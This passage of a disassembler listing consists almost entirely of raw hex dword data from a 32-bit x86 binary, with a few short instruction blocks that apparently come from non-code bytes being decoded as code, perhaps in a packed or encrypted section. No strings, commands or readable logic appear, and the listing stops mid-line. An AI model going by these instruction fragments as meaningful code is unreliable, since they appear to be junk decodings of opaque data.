dd 0C43756D7h, 235CB4F6h, 25BB812Ch, 53C2626Dh, 4BBE9819h dd 0E7DBFA96h, 362BA508h, 0C57E4DFFh, 0A53EAAF0h, 0E7E4925Dh dd 0FE8CC36Ah, 0ED82F6D1h, 0CC9F250Bh, 0A1FC7BEEh, 952771BEh dd 0D5B52883h, 0BCC8677h, 5C77AB5Ch, 682A551Ch, 0BEC1D8E8h dd 7F0656C0h, 0E8C12372h, 0C06CF2Eh, 9CB78E68h, 68FC5509h dd 0E626BC16h, 1C9B1921h, 2B0D98E2h, 173A91CBh, 0BA2F11C7h dd 22C253BCh, 0A4B62415h, 99D9384Dh, 4B2E945Ah, 0C8BFCC23h dd 0EF031C36h, 0B926C617h, 0C4E0E9F6h, 5CAE36EAh, 0BAE9704Fh dd 35CD1C19h, 0A095CBE3h, 293956EDh, 9DAB68BDh, 52F527B2h dd 0D3556670h, 9928AF6Dh, 0CAAB8BB5h, 9C6CEA4Fh, 8986DB19h dd 0D5A00FCCh, 0B6E17B24h, 0F3D11681h, 9BB8522Fh, 341DE641h dd 0D8E225F1h, 10D1204h, 923F0D96h, 1AA86385h, 597699FCh dd 4048A1ABh, 28FBEA0Fh, 183D518Eh, 0C3E9264Bh, 246C7374h dd 0C201DE3Bh, 431B081Fh, 1EAAF835h, 79BFB0C5h, 44459496h dd 0C3634B4Ah, 873B3FD3h, 0FB4D0BE7h, 0CCB9B4B7h, 9E3F0D69h dd 0BBE1E81Bh, 61C4C4ABh, 965BE21Eh, 0EA5C9D3h, 0C217012Bh dd 61EEEE2Dh, 0F7412D49h, 0EAFA35C7h, 49F475FBh, 619E43A5h dd 75049C2h, 0BBDCBB72h, 0A527586Ah, 4544C132h, 9884C489h dd 1321100h, 725273BFh, 416EC4C0h, 0FA354636h, 529C67Eh dd 5C54FB5Eh, 54FA05DFh, 0E36F35C3h, 2F821EC4h, 0C81C386Ah dd 0D78452B3h, 97918079h, 8330365h, 0E82AE7A1h, 678DD9D8h dd 0D7A03986h, 0D788B41Fh, 27B8ACC4h, 0B6582B4Eh, 0B59FE31Bh dd 0E6920E77h, 0DF8D5B02h, 0C215C20Bh, 0A80436EBh, 2B0DDAE6h dd 0FEBAB5A9h, 83893CDFh, 0C1391D1h, 0EA2D06F7h, 3D840A35h dd 0AE325C22h, 7E35AFDh, 62D039C2h, 0CFAFC423h, 55865CE3h dd 78231F2Ch, 88CB72C1h, 18E437D7h, 0EF961193h, 0EED0AEEEh dd 689431BCh, 33F72263h, 52186071h, 41F1FB18h, 66BF1EACh dd 0EE0EFE5Eh, 0EC022531h, 0FFA757A5h, 0D6B291CAh, 6DF22E8Ch dd 0FAF3C45Ch, 0A5A48165h, 70C396Dh, 89A769F8h, 69100625h dd 43669DFFh, 7C92CD52h, 0E87E9C61h, 0BC1150FFh, 0BE71B2EDh dd 0E0AF60CAh, 6BDC0E7h, 7A912990h, 0D6A3E4D0h, 0A5C94DE0h dd 441B0084h, 0E89F54Dh, 2354C439h, 94D3AAF5h, 8FD74473h dd 0C6FFBA1Bh, 0E280955Bh, 6D6EC606h, 49289902h, 30B1AC11h dd 358B2D1h, 9EEBED33h, 0D31228D0h, 94A186D5h, 65FE584Ah dd 251879Ah, 87B28AD8h, 0C125CF59h, 867D7E7Bh, 2FDF99Ah dd 0D78194A9h, 0C6A44284h, 41A0C7C2h, 75B5D407h, 83B6C3AFh dd 123427ECh, 9A236D74h, 92FFE36Ah, 0A7A399A3h, 833552F7h dd 6E52FD5Ah, 0CD78F588h, 5FC4C430h, 199576B7h, 0F4653C6Dh dd 0C4F6DC4h, 0C9A98836h, 3A1A8EBDh, 0A5C7CA88h, 0C4CE19B3h dd 3958BE7h, 0B6E53DEh, 7EE37BE3h, 705F0324h, 0A947FF70h dd 22328F4h, 0F8C02A5Ch, 3B0EA336h, 0C06E9474h, 25849388h dd 5DE235DCh, 5C17AE62h, 67E082CBh, 78B2B024h, 0F3F686FFh dd 5C25B851h, 4F0CD4C5h, 3D75B14Eh, 0F5F1B85Dh, 364C351Eh dd 0D9F83CF7h, 0D9B24498h, 1AE3AE0Ah, 0BA4B49B6h, 282AE4DCh dd 9F28EF3h, 0B705E74Eh, 68CEBE62h, 0C7F9509Fh, 0CBCD3DFBh dd 33AEF104h, 0CE424AFFh, 483F95D1h, 0FEDD522Ah, 68505DA5h dd 71B6C205h, 0FA43BC05h, 22E34662h, 421AC89h, 0F783AD61h dd 5C485BAEh, 6D9F22F1h, 7C3557FDh, 66F8FF4Fh, 0DB9FC0D3h dd 0C8C5A136h, 57C541E8h, 0C4FA0085h, 0E07F6C65h, 0F5A170C9h dd 20B335B0h, 73E5EDB2h, 802ABB8Dh, 0DA6D712Ch, 0D9A4424Ah dd 0F879E0D9h, 0DB0D01AFh, 0D4636358h, 0ACCE03FDh, 196974F1h dd 5B6921C8h, 19A1D062h, 14FEF899h, 18A4D995h, 0F7B98C28h dd 0BDB01C50h, 94DD7E6Eh, 0B51713A5h, 19D112C0h, 6C0FA25Dh dd 13C4FE65h, 0F5089C35h, 7FB1937Eh, 49D68B6h, 0B0A8535Ch dd 0F6DD3D83h, 9925BD1Ch, 0BA408A65h, 53315ED4h, 0C9EA8B23h dd 0E3B2C5Fh, 4CA4098Eh, 0E385AEEAh, 39D3D933h, 0A84B681Ah dd 0EED8B387h, 95B847D3h, 2AEA093Eh, 4DE60B18h, 227EC224h dd 1B337BD8h, 0FFA3DC5Bh, 14E03109h, 4A72F183h, 0C34950E1h dd 0A9199670h, 1B15EC52h, 1E4A0656h, 0AD061AA4h, 0BEB4B6D7h dd 0F0C28B64h, 0EB1365B8h, 23817AB0h, 0AF7A3FBh, 52C23EBEh dd 0F33E43BCh, 1B1C4850h, 1EAC6D1h, 24CAC4D2h, 0AD564D2Eh dd 0AB44E22Ah, 25B8A9A8h, 4A529EFh, 4D1E1612h, 9E92BE03h dd 0C9C16767h, 73CA9582h, 0E90404D9h, 0D6FCFA73h, 0D4BDFB84h dd 14802BB9h, 3643767Eh, 71EDD6B7h, 875B2B24h, 0A72C5FE0h dd 18B6680Bh, 8F165FF3h, 0E38DCCB4h, 5A5930A2h, 8C79B9BFh dd 0B0BDE218h, 0DAE006F7h, 8622EB9Eh, 4C9AC1A6h, 0B21CEDF5h dd 7F29E9AFh, 70E2ABCBh, 0EC7D610Fh, 1090F554h, 0A2267D2Dh dd 24404F2Bh, 0FA7F342Fh, 0E0B7C427h, 0E1BB7DE0h, 0F6B57F66h dd 5543697Ch, 0AFEA38E1h, 15335890h, 0E057E0DFh, 0D730432Bh dd 2BDBF552h, 664E7790h, 7431997Bh, 635C3D29h, 0AD239BCCh dd 5321876Eh, 29D28F09h, 0D1111DD5h, 76734E0Eh, 0B363CA9Ah dd 5CEB342Eh, 0A977EC3Bh, 0A4DD05A5h, 0A6F2A5E8h, 152D5771h dd 5B4514ECh, 6D33E1FAh, 9CE9E3CCh, 3AA23F0Ah, 9C388B67h dd 0CAC24192h, 0DFDFBA82h, 145A3CA8h, 0BA913302h, 74B8B409h dd 1910458Ch, 0BF609E79h, 1718DDE5h, 5BC42E41h, 0A61BEB42h dd 7F150C6Eh, 91F8E50h, 2D049E04h, 3725EEFDh, 18286ABAh dd 0F94EDFC2h, 15AAECBAh, 0E12BE44Eh, 0CE6DB067h, 0DD40F669h dd 0B3A2193Bh, 0EEB6B9E1h, 0B164D67Ah, 0BDC78FD0h, 0ECD02CEFh dd 29E2BC0h, 0BDA72B40h, 0C4DB0B70h, 90798C0Eh, 5FED2921h dd 130D75D0h, 459FE78Eh, 0F8714C25h, 196D9504h, 8FD0F63Dh dd 8E71D46Bh, 0BE1E778Dh, 9DC4DBD5h, 3631E7h, 49F347EDh dd 0ED2D9D40h, 0E6C669D1h, 1019CD5Ah, 49D4F582h, 3857B861h dd 263AF177h, 0CF16F7F5h, 513FF033h, 5D0C6CBAh, 5A88D7E2h dd 0E8A8D66Ch, 3B92FAA9h, 984F1AA4h, 0F9B01872h, 6732CB4Bh dd 92CEADAAh, 99C9EAAFh, 0B7BF7E20h, 8D35B83Ch, 0B1341DC8h dd 0DF4CACFBh, 4B88BDC1h, 4F069731h, 46B2AB93h, 3AB75B06h dd 0A346ED1h, 89E41B49h dd 14E23CE0h, 0E70BEA02h, 2F9F75CEh, 44034B14h, 0A1517E4Dh dd 639C4B81h, 1A76BD94h, 0E9B137ADh, 74457EC8h, 4A9E8BBh dd 5F3F9795h, 48227F24h, 751B4F7Ch, 1FC348ABh, 148B1B85h dd 0C9FFBFF2h, 0C4B107B6h, 28C09562h, 3CA723EDh, 7CB29CC2h dd 467B8243h, 70FB1291h, 3950404h, 0FFA28EEFh, 8340940Ch dd 3E3EC91Bh, 6C02212Ch, 5A8E2528h, 0A5B55D3Ch, 0CC10A754h dd 0F0C6A545h, 20C02C3h, 0E03EC7D1h db 19h ; --------------------------------------------------------------------------- loc_423885: ; CODE XREF: .pdata:004238F0j aam 1Fh inc edi sbb ecx, [esi-4Bh] sbb al, 0Ch sbb [edx+781F4E2Dh], dh int 3 ; Trap to Debugger ; --------------------------------------------------------------------------- dd 8026F18Dh, 0E77AC11Ah, 0AC008E86h, 4775B4Fh, 0B20D7CC8h dd 3338F9D2h, 16820FBAh, 0BC122768h, 84AEC440h, 0AAF560E1h db 0BCh, 0F9h ; --------------------------------------------------------------------------- loc_4238BE: ; CODE XREF: .data:00418D29j push eax cmpsd xchg eax, ebp add al, 0E2h cmp dl, [eax+2541D5BFh] sbb al, 0D1h mul dword ptr [ebx+21h] rep or ch, [ecx] jle short loc_423921 dec ebp push ebp lodsb adc edi, [ecx-7Ch] dec eax aas sub [ebx+eax*4+6815463Ah], edi ; CODE XREF: .pdata:004238EAj xchg eax, ecx sbb eax, [ecx] mov eax, ds:0DBD9AD9Bh jecxz short near ptr loc_4238DB+5 inc esi cdq in eax, 6Bh ja short loc_423885 dec esi xor ebx, ebx loope near ptr loc_42390A+4 adc [eax], edx sbb dword ptr [ecx], 7157585Eh add ecx, [edi+68h] xor ebp, fs:[edx-3512C925h] push es loc_42390A: ; CODE XREF: .pdata:004238F5j jmp near ptr 0CC0D07h ; --------------------------------------------------------------------------- db 0D1h dd 0B3DBF567h, 0C54D2572h, 5D1FBF78h, 0C8FDCDAh ; --------------------------------------------------------------------------- cmc loc_423921: ; CODE XREF: .pdata:004238D1j lea eax, [eax] add bh, cl add [ebx+16BB5134h], dh push 28h inc edi adc ah, ch mov bh, 3Ah stosb mov ss, word ptr [edx+70h] adc eax, 0EC13F34Bh idiv dword ptr [ecx] pusha sub edi, edx ; --------------------------------------------------------------------------- dd 45E6F0C4h, 567FD172h, 86FEC447h, 10241CE6h, 38F5FA24h dd 0A8664AF7h, 83923C5Fh, 0CB398581h, 0C61B0005h, 0FDCE132Ah dd 5D1A2600h, 39F01134h, 0A8B9D749h, 846046DEh, 0A27C7F60h dd 1418D3B1h, 5A2DD5CCh, 0A9F14907h, 0C3B7EB7Ah, 8A3E6B9Fh dd 0ABB3D1CAh, 0E3EEEF8Dh, 0CBF46899h, 8755B177h, 0FE287EF0h dd 0F14CE137h, 0B8289BD2h, 24706E6Ch, 2D69350Fh, 0E0843EF7h dd 0E0AC0B77h, 531833A4h, 7DD72DEEh, 0A39669D7h, 68555018h dd 2A67D3E4h, 0DFB7F621h, 0FA70C3D5h, 0E70F7854h, 0DEBE83ABh dd 0C3D2CD3Eh, 2B88B707h, 2B683742h, 296CAC55h, 2998FC48h dd 0DEE7DEC3h, 0AA164128h, 58C331C6h, 7132D6E4h, 0CBB3B894h dd 0D49D4E43h, 8D4F698h, 15D0BF89h, 2C5EEC47h, 63C668A4h dd 5F7A3858h, 0F303B79Fh, 664E6945h, 0C31B7FAAh, 2E81536Eh dd 0B0A18FE3h, 0A6F51B01h, 6E9B765Fh, 402FCE1Eh, 9EEF9C22h dd 849DCA4Fh, 71AAA2C7h, 2B20839Fh, 8BF4F755h, 6D4710BBh dd 7FE228ABh, 0F217E78Ch, 1E1D6DAEh, 0DB14E082h, 10ACDA42h dd 75667B56h, 0D60CC21Dh, 7BED60D4h, 0CD7FFEEEh, 6F109422h dd 52A6B9C5h, 4C51C47Bh, 6E9C5BEAh, 0BFBDA9EFh, 9BED96B5h dd 0D8C817E9h, 6A864A7Bh, 0EC064D5Fh, 0C10438E8h, 0EC70514h dd 866061D2h, 0DB3682CCh, 0C124B3D1h, 3D043486h, 0A31D6567h dd 8E019379h, 95CE3997h, 92C7E6B0h, 11EB1ACEh, 0BAB1CD24h dd 5DFB1110h, 0C1418275h, 76D3ADAh, 0DFA65C4Ah, 7B5014E2h dd 8CC455A0h, 4FAF7583h, 0F7BF88D5h, 67FA4399h, 0A6B17D4h dd 0F01F7AFCh, 0F45ABEB7h, 76CC14C1h, 3C123011h, 609A74Dh dd 49F84422h, 2A6D9Fh, 8DA36339h, 0CF811B97h, 666F9030h dd 13E78D37h, 293E9460h, 86D7B545h, 910BFB43h, 0E460B71Ah dd 30EBF47h, 0C72FB348h, 7053BA47h, 37A7543Eh, 0D2F51D9Dh dd 229E9142h, 91A01162h, 0E3B80690h, 3AFB177h, 0F1347256h dd 9BA6DAF0h, 5C971B81h, 3741DEF4h, 827E3C31h, 0BE9BC0B2h dd 0D30389C3h, 4CB10D37h, 1BA75C20h, 0A5DE8DFFh, 48E55ED1h dd 43689FDBh, 0F3F8EAEEh, 0C4A3F7h, 3835C61Dh, 0B28D0463h dd 0A600C3A7h, 3FACC745h, 458E89D7h, 8B8D7888h, 0AE626F1Bh dd 12ACF22Ch, 0CE422F8Eh, 0B82619D2h, 30F60762h, 85DB241Ch dd 47099A5Ch, 31EAE43h, 33B71AA9h, 7211B01Bh, 7217B3Fh dd 27B07B77h, 66F9C23Dh, 1801DED5h, 551DE9DFh, 491A88A8h dd 932C89C4h, 8DB99067h, 5F4BC285h, 87B74272h, 38DD0D38h dd 0A96BB907h, 0D36AE9A2h, 0C20CFF7h, 9EAB06BBh, 685EB2BBh dd 7B00597Eh, 55E59F9Ah, 0F29A862Ch, 0E59F4F17h, 0A4E85F7Fh dd 8C8CE296h, 90F044A3h, 0B0C9D468h, 0C00C4103h, 4B84E601h dd 58005CB7h, 64BE1E48h, 0A39D719Ch, 29D7ACB6h, 53303F25h dd 62DC34D8h, 0B370BA2Dh, 272330Bh, 0F810ED71h, 5EA592ECh dd 0FC84D043h, 0FF66A421h, 417A03BFh, 0CA69DC91h, 0BFD00274h dd 0CA4B2368h, 4723918h, 5775590Eh, 0CBC0E519h, 7226A519h dd 0A0E10ED3h, 0B8062C8Eh, 0C5468B42h, 9B472462h, 2734E101h dd 0E20A4B04h, 26D2E4C1h, 3FCF9D66h, 60CC001h, 8ABE1FACh dd 0F3258B25h, 0EC620A82h, 25F0C8E4h, 0BF08C06Fh, 37881E5Fh dd 56BC007Dh, 0D1B83FCCh, 789D8237h, 8B15651Fh, 91B8965Fh dd 0C50C3436h, 0A6875E9Bh, 0A2B48020h, 0F1A48C9Ah, 606A9D7Bh dd 75C94CBAh, 9EA800C7h, 40189Ah, 91FE48A2h, 59932F02h dd 0AE713DFEh, 2AFB6350h, 3F29FC7Eh, 6DEFA76Ch, 0DB7ADD1Eh dd 0EB6DAE7Dh, 0D91601E9h, 0C66D28DBh, 19B12802h, 5B33030Ch dd 18C5F543h, 82CAA1CEh, 9FA870FCh, 5EE3016Ah, 8CEDF1CCh dd 8563E3A8h, 0E8114D7Bh, 0F96FA7E8h, 3E174428h, 2107E293h dd 0F49E72FFh, 307B87FDh, 868C1768h, 30D3DA9Fh, 1EDAC9A5h dd 0D59C9A7Eh, 0EF99479Ch, 0A9E3E910h, 60F97771h, 2AA17B2Eh dd 975D95CCh, 8CC4FD87h, 703561EBh, 94593611h, 0E5B7E018h dd 1A7A536h, 0E3181739h, 0FC889799h, 0B8077B6Ch, 0C6E818A4h dd 397F6500h, 3EDF447Ch, 9A662AC4h, 0E5F3F566h, 8B8886FDh dd 0A5B71A15h, 0FF72CBF6h, 18C84FCDh, 6A68FDF5h, 6D1A1D33h dd 0E1969330h, 3896CF52h, 0CE21B1DAh, 941E0366h, 0D1DD4325h dd 1C263A62h, 0D2BBEF7Bh, 7EEC3B5h, 0B498BB0Dh, 37DBF241h dd 0A8A68039h, 17E1855Ah, 32A8E12Eh, 0C24CC711h, 8C8EDA06h dd 1D0C1C31h, 3F506E24h, 0FFEE491Fh, 0A0F8FBD5h, 0AC88C222h dd 8CAF1565h, 0F24E4806h, 0C68A3834h, 0D4A6CAF1h, 0E0B4B65Ah dd 971BA95h, 0C5E35F5Eh, 4FD6A1E2h, 0F5E162BBh, 4680284Bh dd 9A89D5FFh, 5F9AD52Bh, 1E194372h, 772AEBh, 937D382Fh dd 0DC9EBCAh, 0E70532C6h, 93A0997Ah, 5B7CBFBDh, 809E71C5h dd 3809F564h, 0D50424FBh, 8D5B64DCh, 1D3440B0h, 7E22F3D2h dd 0BFBDA205h, 801433h, 7B3F5AF0h, 9B46AC13h, 233C785Eh dd 0E38CBA35h, 94A24609h, 96F2CFA2h, 0AE11008Ch, 0ECD28F0Fh dd 9BCD2858h, 184AFBD2h, 0C8561DEDh, 0E98012F1h, 132DB390h dd 8197DBA6h, 5ACA99F3h, 0FDB8559Fh, 0D5E37972h, 5BB3D6B2h dd 25357E99h, 0B079C1Fh, 0EDC5DB4h, 804B231h, 37ABA8D7h dd 0D2497F10h, 9892AA48h, 0E1B49CAFh, 0D39C9E3Fh, 0F4CDC19Ch dd 51857E20h, 447DBDE5h, 99B293Ah, 0BE4B59EAh, 0A7DB3256h dd 0DEFF4A5h, 0DF8B8DD7h, 4BE55864h, 0ED42C05Ah, 9F5A8565h dd 44CB4EBEh, 1EADA2E4h, 0A21CC0E7h, 301D6EF5h, 2841647h dd 762207DCh, 865FFF06h, 0D04393A1h, 86AA0A82h, 0E18805A7h dd 0E6ED144Ch, 57F46B65h, 7FBD0950h, 0DDC46276h, 0DC76D1A8h dd 8F3ED2F5h, 6955A404h, 9414D6B4h, 0B6685349h, 8DF3D2A2h dd 8E914EE6h, 57DB271Ch, 11EDD62Ah, 0B160C4EBh, 120D2C5Ah dd 2A384630h, 2285332Eh, 6ED62DADh, 0D736A2F3h, 0A71ED7CEh dd 0AE642FE2h, 0EF7436B6h, 0CAE53E18h, 0C03E7434h, 6B87CFDCh dd 9B63532Dh, 30B9FB41h, 1FEBBFC4h, 5D49C2A9h, 8242EEF9h dd 60D2190Bh, 0CC1525D8h, 982AEAFh, 4FF3974h, 0E0E3407Fh dd 28C5FB8h, 0D5017D1Dh, 6CBE056Dh, 349A729Fh, 0FD7248C1h dd 9889B25Dh, 0E0BF2ECDh, 0B727A3Ah, 0FBC0609Fh, 3211CA9h dd 27E4190Ch, 5786A9A0h, 0C17B3A4Fh, 0D0E0B10Dh, 3FAFD736h dd 0FE7CF721h, 0A9E00536h, 406948B1h, 3C5A4334h, 453B06E4h dd 0E624468Bh, 98C936D5h, 0A3673EDDh, 9570D63Eh, 0EADD8DF0h dd 0B9E44366h, 77719715h, 99CB6BB7h, 5197E98Eh, 2D18F2EEh dd 0C9C89933h, 0BE450CE3h, 0B83AC3E4h, 0A7E25473h, 9648D01h dd 0BFCE530h, 2169F01Ch, 3EAEED4Bh, 0C795C88Bh, 653CCCC1h dd 0D153F971h, 4CE268A5h, 0EF68631Bh, 0EE9050DDh, 677AF268h dd 9774142Ah, 40EE198Fh, 0DF22D7DCh, 0F12B2B73h, 0B57FF87h dd 4E199C38h, 0C63C3337h, 7113DEE9h, 1EEFFF76h, 87B521D1h dd 5F6127C0h, 149A4684h, 353B3A68h, 0AB2815FAh, 1C664539h dd 0E2705C91h, 0D3084389h, 0DBB0F1F0h, 0A2826A27h, 35AF6260h dd 4D8AB56Ch, 0D2A07C01h, 8D204EF7h, 65CD9C87h, 0C46C60B5h dd 98F709E4h, 4C3BF818h, 591543B5h, 0E9C7B9B8h, 9B04FD5Ah dd 0E1BFDA06h, 0E19FD485h, 5CBE2039h, 2CB38FA3h, 4721EEDAh dd 0E868D8E2h, 25090C17h, 0CDF61BC9h, 90417758h, 9F15D6C0h dd 5F63B10Bh, 16515DB1h, 275E616Bh, 26BAB5E1h, 0D24D93DAh dd 99358EC3h, 0F897ECDEh dd 9A9E3BE7h, 0CDA845A4h, 41546261h, 0F769D9F7h, 0D17F1F53h dd 0D980304Bh, 2A146A57h, 58710BA2h, 0CFEE7EBEh, 384A7EC1h dd 93AE8C8Ah, 164E092Eh, 21947D1h, 0FFB620A9h, 0D7E4C09Ah dd 0BA28D956h, 0D0758FF3h, 3741E3ADh, 67784090h, 386EA979h dd 8F766E63h, 896929E4h, 0EDA8A759h, 7F8142DAh, 5439BB05h dd 53810E69h, 0D4CD9120h, 22B64E1Eh, 0B00D2D35h, 6941542Bh dd 1E933C22h, 25FD39Eh, 0F49F3C4h, 831A1BD9h, 0C3B25513h dd 0AD8C4AEAh, 0E652D073h, 2C25EA2Ah, 0B5F5BEDh, 600CD644h dd 0FE0DC5A3h, 60EE2E0h, 584B6E4Eh, 0E40B51C8h, 0D1CDE3BEh dd 27C3A140h, 0AF55785Fh, 2274D39Fh, 6BD4C8E5h, 8EE965F7h dd 953760D8h, 9E1CDE20h, 661BCD93h, 139281B5h, 0BC5E2278h dd 957CB220h, 0A9A0281Fh, 0A3CDE5A5h, 67D48737h, 7EECCBD6h dd 9FDA51A9h, 8EE0E835h, 87B49E23h, 3379DAA6h, 11CA8ACDh dd 24D9CCDCh, 93FE4A37h, 0BB90C8E9h, 0CC4C1110h, 6B17A93Ah dd 1D434211h, 81B32453h, 82D03DECh, 97C0F9Bh, 69CE0C60h dd 0F53F02AEh, 4A427EDDh, 9BDEE299h, 0B47ADCDCh, 0E5776E0Ch dd 4F9942E4h, 0D9F2CDD6h, 0DFB2971h, 0F66EA001h, 0C06C3943h dd 9F77B7h, 8C9823BCh, 92A0ECCh, 0F392E3E2h, 58A1E013h dd 463993DDh, 0A6A966Eh, 0C841901Ah, 3338BF36h, 0FCBFEF6Ch dd 904DD59Ch, 10227F37h, 9FCE1AEFh, 4E2F2A93h, 0BEE17C7Bh dd 0E8908495h, 122A11D3h, 3F0084C1h, 9BB650A6h, 0BF2C9CB0h dd 5850B2Dh, 2ABC8AFFh, 9875683Eh, 0FF10633Ch, 9FC2260Fh dd 1806273Fh, 0B8545F00h, 0A6BB8EA8h, 5A336958h, 0A231DD70h dd 5E392F37h, 4B4F62A0h, 457AAE83h, 1C3479Eh, 734992C6h dd 33002A9Fh, 3E84F283h, 0D2763666h, 9DB7C7CBh, 1F1B7166h dd 1CCD3A7Eh, 51396665h, 0B0514F78h, 60DAED7Eh, 0CE603943h dd 5B4BF602h, 5DA3DA7Fh, 5CED466Bh, 7BF974F8h, 32BD7D87h dd 0DCE94A83h, 20B51A85h, 0B9991525h, 5CA5D9E4h, 0AC8E6963h dd 0C5367C0Dh, 9A7D9DD4h, 8F150BC1h, 8D4B1C88h, 97331C56h dd 9DD18A77h, 37D482E8h, 495B1FC0h, 21B9D0F3h, 67E272BCh dd 80AE37Bh, 0EB879E8Bh, 2839AC06h, 93E87B33h, 27D0715Dh dd 6EBCF07Ch, 807A31DFh, 0E1ECDDBh, 2DDA6AACh, 1B455823h dd 0EC4E3093h, 3EE673E5h, 0DA717F3Eh, 232080C7h, 37D7B3ADh dd 0CA61418Eh, 0F22AABACh, 2A98F44Dh, 73661850h, 6DE35D3Eh dd 0F5C09D16h, 0D241DF18h, 0B550D92Eh, 0DFC9F093h, 0D3878764h dd 3BB61989h, 19DAB5B0h, 0D2D96BECh, 12269E3Dh, 0BA652CC0h dd 38C47A93h, 11A10DBh, 80953D36h, 7516543h, 0FE2691E2h dd 6937BD2Ah, 24BC4B08h, 0CCE78026h, 8EA9942Fh, 0EE3820C2h dd 0A4D971E7h, 0AD77C1E8h, 0D389228Ch, 3FDA5C05h, 97E2AFD4h dd 0E168744Bh, 2AA9D85h, 0AE8DBAB4h, 7F7EA871h, 1FF1EBB9h dd 83976044h, 0C663FFF0h, 52347697h, 6ED630C6h, 0AC0D32BDh dd 0EFE7F8FBh, 34995F35h, 12060D6h, 3815E014h, 0B6B47F6h dd 3BDD1237h, 0E4D79A42h, 0DCBCCEABh, 15B1BB51h, 0B0406ECDh dd 0D31FBB1Ah, 0A3B0C664h, 4F3CBAD5h, 0ADF57444h, 83FDC9BFh dd 0A62EEECCh, 2C65B3F4h, 99FBA80Eh, 0FB1CD5F6h, 5FB331B3h dd 2EFDA1B2h, 4E949139h, 0C25555B9h, 0C95FCD48h, 0F0DF92DEh dd 0A39E0A5Eh, 3E0EF108h, 5B8EFDAEh, 8F0D3E10h, 0BC1DAC8Ah dd 49A41EC3h, 6F7AEC84h, 0FECAE566h, 67034812h, 8596F11Bh dd 0F0F91663h, 0C98A11D6h, 35E6A6DCh, 2A29D39Dh, 0F7C70804h dd 91567A66h, 7874136Fh, 0F5C66F55h, 41A2BA9Bh, 0DC0F5995h dd 93A4AE44h, 4382930Eh, 3B9B779h, 0CE289E40h, 620768E5h dd 441CC442h, 1393B4E2h, 0B579C37Dh, 96EF8230h, 0AF1D81C9h dd 6BF78F16h, 88AA6D5Dh, 0E0FEDCA3h, 0EB78BAB5h, 0D5A9EB9Bh dd 3B5FDE0Dh, 9CBE4C6Dh, 9A7EF5C9h, 0AB827C8Bh, 0C167F8D1h dd 569F5911h, 9FE9C6CEh, 48F1D707h, 206D1520h, 0CE42D28Dh dd 9110E66h, 0E6C8CE39h, 8DE74FF4h, 596AE317h, 0A73CC425h dd 0FBBE0A25h, 1D0E5B0Ah, 3A139DC0h, 846CB0FBh, 6A53BD85h dd 0CF8D0C7Dh, 0E68E53F9h, 8599CB4Bh, 3BECF2F4h, 0F8E793E4h dd 70153297h, 534A4DA1h, 0F4E490FFh, 2284FB2h, 86926BEBh dd 0F20DAA7Eh, 5B7E30A3h, 0C3C2ECABh, 9BE2F006h, 0FA9E2C3h dd 0B43506E8h, 0D4FF3F4Ch, 0F4D0061Ah, 119A5B4h, 1B8C7881h dd 2C9645AFh, 82B4FB94h, 59ED946Fh, 17615B86h, 71D84051h dd 0DB895BA2h, 7E3502A6h, 0D78BE18Ah, 51F7E021h, 1F97C538h dd 37C8FDA0h, 0D0BD76CDh, 0C5CAE90h, 94E02429h, 0FFF80E95h dd 2DB95961h, 6084BB44h, 51CC19FFh, 0ECEDD806h, 8A7E6382h dd 0B35F15B4h, 348775A5h, 4E27F298h, 49EE48D2h, 0E7C7BF01h dd 83B6A933h, 23EF48E4h, 64FF55CBh, 3E5F84C6h, 8348E3CEh dd 9AE55F3Ah, 0F173C953h, 659F81Eh, 0BAF4FA13h, 2FCE3A19h dd 3C823E75h, 6E52F3A8h, 41F35382h, 69744937h, 0FC962073h dd 6324FF8Eh, 4C1690E3h, 40245ED8h, 0E7BA9819h, 4CBDE735h dd 0E15E0F0Eh, 67C3C2B2h, 0C56930h, 90ADEF83h, 0BB097D00h dd 71E98E59h, 0E9478CB2h, 0CB0858F8h, 4ADAB18h, 32284A0Eh dd 0E4ED1C5Ch, 5B2A0DF5h, 397C8F3Bh, 0B8AFC152h, 9827816h dd 574D1971h, 80C89F9h, 0C7CEA792h, 0D5F5656h, 65564662h dd 84CB7779h, 0C4DD49CBh, 887B8237h, 0D4C7641Bh, 2C265EA3h dd 0FE2C2F3Dh, 0BE587771h, 15A890CFh, 8B44FAE8h, 0FA2CC55Bh dd 54EAB698h, 0F84E0240h, 0F1438848h, 2C9F0A8Ah, 52F8F65Ch dd 7B25713Ch, 276E4AADh, 9BDD9A16h, 8DCCC7B9h, 46DFFA23h dd 0C633B1B1h, 0BB5D8A95h, 2C8006EBh, 0CE12B45h, 0BEE1C507h dd 0E6BCB7AEh, 5E252AC5h, 9639E0EFh, 98F2FD77h, 832530BEh dd 0FD754862h, 9D65C910h, 79E29CEFh, 0D98813B1h, 0F99CE865h dd 20ED890Dh, 0EF856D78h, 16971E77h, 53BB8A9Eh, 2CBC3B10h dd 0FD6CE402h, 2D60176Ch, 962D7441h, 4745671Fh, 5934188Ch dd 4ABBB14Ch, 0DBD609E0h, 0A9E8E362h, 9D422622h, 0C7BC0F07h dd 8D09453Bh, 3BE48721h, 618B9410h, 0A742F217h, 0BEB61BF3h dd 9BED6052h, 27C4F7A8h, 0F309663Bh, 0EFF18C99h, 961D5C01h dd 3DCF1238h, 80B3363Fh, 266F01A2h, 0C9372AA7h, 0F8BCA320h dd 0F510B79Ch, 0AE078796h, 5003B952h, 9BA6E7F7h, 9C623927h dd 2084C719h, 0FEA7EEB6h, 11B2DEA0h, 4D8043B0h, 3E71E476h dd 0FBC5348Ah, 0B97835DCh, 0D4D1DFDAh, 9F88AAA0h, 2A032DFDh dd 0EBB201D6h, 185B62E9h, 6780383Ah, 249695C7h, 0D4CFF58Ch dd 0CA549A76h, 0F78E237Ah, 0A3AEF080h, 0D00AF67Ah, 1C359416h dd 0BB9C5E8Ch, 0B28CE1A3h, 9645B2CAh, 0B5066D49h, 3A566D5Eh dd 38A6E0D7h, 570D31D2h, 5B0B81DCh, 8B4C49E0h, 0D8E7D622h dd 7470C605h, 0EFB9C7F2h, 0BB3DB265h, 0CED205CFh, 12588695h dd 90D99F78h, 672F256Eh, 695DAB66h, 0E0732DAh, 0A4EFFEF6h dd 75318286h, 803DEE26h, 0CC03AD43h, 0C4C16C4Eh, 0EBC63DB5h dd 373EA37Fh, 9BF882B8h, 9CC89384h, 0BB6739D8h, 0BE83B53Dh dd 0C7621914h, 961E5BF2h, 0E940530Fh, 0D04EAEDFh, 0C2131709h dd 0F0004401h, 258A0B27h, 891BC2B9h, 0FD007C1Ah, 38E3A2C2h dd 0ABF88732h, 0A171B7E5h, 70EE1647h, 27FDA535h, 57216F7Ah dd 